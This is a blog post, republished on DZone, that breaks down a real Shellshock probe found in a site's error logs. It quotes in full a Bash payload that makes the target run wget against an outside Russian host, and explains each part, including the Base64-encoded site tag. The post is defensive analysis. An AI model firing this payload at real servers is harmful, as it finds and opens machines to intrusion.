Over a million developers have joined DZone.

The Anatomy of a Shellshock Attack in the Wild

DZone's Guide to

The Anatomy of a Shellshock Attack in the Wild

· Cloud Zone ·
Free Resource

Learn how to migrate and modernize stateless applications and run them in a Kubernetes cluster.

It’s six days since I wrote about Shellshock and the response has been massive. There’s clearly a lot of interest in this bug and indeed there have been some pretty dire warnings about the impending “Bashpocalypse” which ultimately, hasn’t really happened. I’m sure it’s made life tricky for some sysadmins and I’m also sure there have been many servers that have suffered from what by all objective measures, remains a pretty serious bug.

It’s probably a bit early to speculate about the true cost of Shellshock, but what I can do – and in a very objective fashion – is decompose a typical Bash bug attack. I can do this because I had one hit my logs just a couple of days ago.

As I’ve written before, I use the rather awesome Raygun.io for error tracking events from Have I been pwned? (HIBP) which means they send me courtesy emails for previously unseen errors. Errors like this:

Raygun.io error log

This is a Shellshock attack launched from an IP address in France. There’s a malicious payload passed in the user agent, referrer and cookie request headers. Here’s what it looks like:

() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/aGF2ZWliZWVucHduZWQuY29tU2hlbGxTaG9ja1NhbHQ= >> /dev/null'

Let’s dissect this:

  1. () { :; }; – Empty environment variable declaration (see my original post for more details on this)
  2. /bin/bash –c – Call into Bash and pass a string with a command
  3. The command the attacker wants to execute on the target is comprised of three parts:
    1. /usr/bin/wget – The wget command will download a resource from a remote machine
    2. http://creditstat.ru/aGF2ZWliZWVucHduZWQuY29tU2hlbGxTaG9ja1NhbHQ= – The remote resource the attacker is attempting to download onto the target machine
    3. >> /dev/null – Append the output to the /dev/null path of the target machine

So what’s on the end of that URL? Well that’s interesting, here’s the site:

The creditstat.ru website

As best as I can glean from my limited Russian (ok, I mean from Google Translate), it doesn’t seem to be overtly malicious despite the temptation to conclude that the keywords “credit”, “card” and “Russian website” sound kind of risky.

The interesting bit, however, is the path being requested on the URL: aGF2ZWliZWVucHduZWQuY29tU2hlbGxTaG9ja1NhbHQ=

This is a Base64 encoded string for: haveibeenpwned.comShellShockSalt

Ah, so if the target site receives this request then it can identify where it originated from. Throw this command against a heap of websites and if the request then shows up on creditstat.ru you know that the target site is vulnerable to Shellshock and you know which of the broad range of sites you’ve been testing is vulnerable.

I’m not sure that the “ShellShockSalt” string actually serves any functional purpose in this case so feel free to speculate on its meaning. It’s also not clear whether creditstat.ru is malicious or simply a compromised site the attackers are leveraging. The path being requested returns 404 so it’s possible that there was a malicious script there that has since been removed, but it’s also possible that the response code is deliberately returned by design in order to make everything appear a little more innocuous.

And the /dev/null syntax? It’ll just discard the response. This isn’t an immediately malicious attack on the target site, it’s reconnaissance. However, what may follow as a result of identifying a vulnerable site very well could be malicious.

HIBP is not vulnerable to Shellshock – it’s ASP.NET running on an Azure website – but this event tells us several interesting things:

  1. There’s active reconnaissance of sites potentially at risk to Shellshock occurring
  2. The reconnaissance is indiscriminate – it doesn’t matter that the target site is clearly not built on a potentially at-risk platform
  3. If it’s on the web, it’s a target – people often argue that their site poses no value to an attacker, but just having access to a vulnerable site can pose a range of up-sides

Nobody quite knows yet what the full impact of Shellshock will be, but it’s interesting to watch attackers trying on stuff like this. It’s worthwhile keeping an eye on your logs, there can be some very interesting stuff in there.

Join us in exploring application and infrastructure changes required for running scalable, observable, and portable apps on Kubernetes.


Published at DZone with permission of

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}